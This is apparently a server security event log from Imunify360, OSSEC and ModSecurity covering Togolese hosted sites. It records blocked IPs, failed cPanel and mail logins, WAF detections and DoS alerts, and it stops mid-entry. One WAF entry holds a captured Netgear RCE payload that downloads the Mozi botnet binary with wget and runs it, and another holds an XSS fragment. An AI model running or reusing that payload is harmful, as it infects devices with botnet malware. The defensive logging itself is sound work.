rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 170.106.35.187
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1876||QS:add-to-cart=1876||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 23:15:47 +0000] info [cpaneld] 36.77.232.64 - index.live.php "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user index.live.php (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.174.103
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/bouffe/wingsn-shake/nos-volailles/cuisse-de-poulet-grille/?add-to-cart=1889||QS:add-to-cart=1889||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jun 27 23:18:43 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 23:19:33 +0000] info [cpaneld] 36.77.232.64 - enadamso "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jun 27 23:19:01 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 23:19:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 27 23:20:16 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.211.244.218
country_id: 1814991
description:
Jun 27 23:20:49 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.211.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.197.194
country_id: 2413451
description:
Jun 27 23:20:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.197.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.211.244.218
country_id: 1814991
description:
Jun 27 23:21:47 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.211.244.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 27 23:21:36 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 27 23:21:20 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.197.194
country_id: 2413451
description:
Jun 27 23:22:02 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.197.194 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.234.132
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.147.234.132||TA:45.147.234.132||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 23:22:17 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.28
country_id: 690791
description:
Jun 27 23:27:27 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.28 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-27 23:30:18 +0000] info [cpaneld] 36.77.232.64 - myxlsnta "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 101.199.129.96
country_id: 1814991
description:
Denial of Service (DoS) attack was discovered from 101.199.129.96: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 45.77.243.200
country_id: 1880251
description:
Denial of Service (DoS) attack was discovered from 45.77.243.200: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 178.104.181.169
country_id: 2921044
domain: sahamtg.com.154-70-82-246.cpanel.site
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:178.104.181.169||TA:178.104.181.169||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.74.20.25
country_id: 6252001
description:
[2026-06-27 23:40:34 +0000] info [cpaneld] 72.74.20.25 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.144.178
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/les-conseilleres-municipales-dvlpm-local/<script async src||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.240.150
country_id: 3469034
description:
Jun 27 23:44:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.240.150 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.45.177.64
country_id: 3865483
description:
181.45.177.64 - - [27/Jun/2026:23:44:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067926&pdata=https%253A%252F%252Ftogocarrieretsevie.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782603874 HTTP/2.0" 302 0 togocarrieretsevie.com "https://togocarrieretsevie.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.45.177.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 27 23:45:08 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 117.215.182.129
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:8.21||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://117.215.182.129:43512/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.13.183
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:152.232.13.183||TA:152.232.13.183||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-06-27 23:51:12 +0000] info [cpaneld] 66.116.242.211 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.34.204.241
country_id: 2921044
description:
[2026-06-27 23:51:38 +0000] info [cpaneld] 188.34.204.241 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.84.3.45
country_id: 6252001
description:
[2026-06-27 23:53:31 +0000] info [cpaneld] 54.84.3.45 - lanuitdescouleurs31 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lanuitdescouleurs31 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.247.106.13
country_id: 6252001
description:
[2026-06-27 23:54:33 +0000] info [cpaneld] 216.247.106.13 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.167
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-55.168.196.239.167||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.219.122.104
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-55.138.219.122.104||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.227
country_id: 3469034
description:
Jun 27 23:57:16 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 00:00:42 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.62
country_id: 3175395
description:
Jun 28 00:00:47 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.62
country_id: 3175395
description:
Jun 28 00:00:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.146.92.43
country_id: 2510769
description:
194.146.92.43 - - [28/Jun/2026:00:02:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038616&pdata=http%253A%252F%252Fwww.sncom.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782604933 HTTP/1.1" 302 0 www.sncom.tg "http://www.sncom.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.146.92.43


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 00:07:56 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.118
country_id: 798544
description:
Jun 28 00:09:24 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.96.91
country_id: 3865483
description:
Jun 28 00:09:05 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.96.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.19.233.21
country_id: 1814991
description:
2026-06-28 00:11:20 dovecot_plain authenticator failed for H=(le02mmkpgixwulitjo4mkvg5g3) [58.19.233.21]:33670: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.208.235.14
country_id: 6252001
description:
[2026-06-28 00:13:10 +0000] info [cpaneld] 54.208.235.14 - admin "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 196.200.133.184
country_id: 2542007
domain: misstogo.tg
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.21||T:APACHE||MVN:ARGS:class||MV:Essential_Addons_Elementor\\Elements\\Post_Grid||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.166
country_id: 2300660
description:
Jun 28 00:17:11 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.166 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 00:18:02 +0000] info [cpaneld] 36.77.232.64 - two "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.136.21.26
country_id: 1814991
description:
152.136.21.26 - - [28/Jun/2026:00:19:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658151&pdata=http%253A%252F%252Ftogodailynews.tg%252Flutte-contre-la-covid-19-le-togo-receptionne-les-premieres-doses-de-vaccin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782605967 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.136.21.26


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.63.63.170
country_id: 3469034
domain: zephyr.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/zephyr.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.63.63.170
country_id: 3469034
domain: zephyr.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/zephyr.tghttp/zephyr.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.181.236
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/bouffe/opera/pizza-opera/royale-2/?add-to-cart=2153||QS:add-to-cart=2153||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.253.51.2
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.253.51.2
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/conseil-des-ministres-environnement-nucleaire-et-gouvernance-au-coeur-des-decisions-du-6-mai-2026/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.168.123
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.212.168.123||TA:162.212.168.123||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-28 00:27:52 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52318: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.192
country_id: 953987
description:
Jun 28 00:27:47 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.192
country_id: 953987
description:
Jun 28 00:27:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.17
country_id: 690791
description:
Jun 28 00:29:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 00:30:41 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.8.133.86
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/lutte-contre-le-terrorisme-faure-gnassingbe-felicite-et-encourage-les-fat-en-poste/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.8.133.86
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/lutte-contre-le-terrorisme-faure-gnassingbe-felicite-et-encourage-les-fat-en-poste/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.219.118
country_id: 2395170
description:
Jun 28 00:35:17 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.219.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.194.178.92
country_id: 3017382
description:
2026-06-28 00:41:08 dovecot_plain authenticator failed for H=([100.64.100.6]) [185.194.178.92]:65476: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 00:42:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 38.191.84.17
country_id: 3932488
domain: dagl.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:55524.dagl.tg||ServerName:dagl.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3fd878eba66a41dafa2652e299a3a8c6cdd03bd3||Title:0x9f0c2135||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.252.143.46
country_id: 2017370
description:
Jun 28 00:44:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.252.143.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.252.143.46
country_id: 2017370
description:
2026-06-28 00:44:16 dovecot_plain authenticator failed for H=(phr4rqtwuqlxsc8rcozkgew) [84.252.143.46]:52614: 535 Incorrect authentication data (set_id=wilfried.t@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-28 00:47:04 +0000] info [cpaneld] 188.166.248.160 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 28 00:49:48 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.217
country_id: 3469034
description:
Jun 28 00:50:31 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 28 00:50:21 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 28 00:50:37 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.188
country_id: 3469034
description:
Jun 28 00:50:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.219.118
country_id: 2395170
description:
Jun 28 00:50:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.219.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.188
country_id: 3469034
description:
Jun 28 00:51:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 28 00:51:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 00:53:26 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.174.211.234
country_id: 831053
description:
185.174.211.234 - - [28/Jun/2026:00:56:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672340&pdata=https%253A%252F%252Fwww.snb.tg%252Ffr%252Fold%252Fgallery%252Freferencement-ckool&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782608188 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/fr/old/gallery/referencement-ckool" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2776.1866 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.174.211.234


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.244.133
country_id: 1643084
description:
Jun 28 00:57:38 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.244.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.91.89.247
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1357193103 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 196.169.20.214
country_id: 2363686
description:
Denial of Service (DoS) attack was discovered from 196.169.20.214: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.204.30.20
country_id: 6252001
description:
31.204.30.20 - - [28/Jun/2026:01:00:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039081&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F04%252Fles-meilleurs-casinos-crypto-100-en-ligne%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782608416 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/04/les-meilleurs-casinos-crypto-100-en-ligne/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.3397.1624 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.204.30.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jun 28 01:03:42 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.150.154.235
country_id: 1835841
description:
Jun 28 01:04:39 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.150.154.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 28 01:05:30 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.197.168.53
country_id: 1819730
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.197.168.53||TA:103.197.168.53||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.96.150.145
country_id: 6252001
description:
191.96.150.145 - - [28/Jun/2026:01:08:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119071&pdata=https%253A%252F%252Fwww.soena.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782608884 HTTP/2.0" 302 0 www.soena.tg.154-70-82-246.cpanel.site "https://www.soena.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.96.150.145


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.63.112.26
country_id: 3469034
description:
[2026-06-28 01:10:49 +0000] info [whostmgrd] 189.63.112.26 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.63.112.26
country_id: 3469034
description:
[2026-06-28 01:11:33 +0000] info [whostmgrd] 189.63.112.26 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.196
country_id: 953987
description:
Jun 28 01:15:45 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.196
country_id: 953987
description:
Jun 28 01:15:58 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 01:16:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.134
country_id: 2017370
description:
2026-06-28 01:16:56 dovecot_login authenticator failed for H=([174.64.199.71]) [178.178.194.134]:46348: 535 Incorrect authentication data (set_id=jeromeah@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
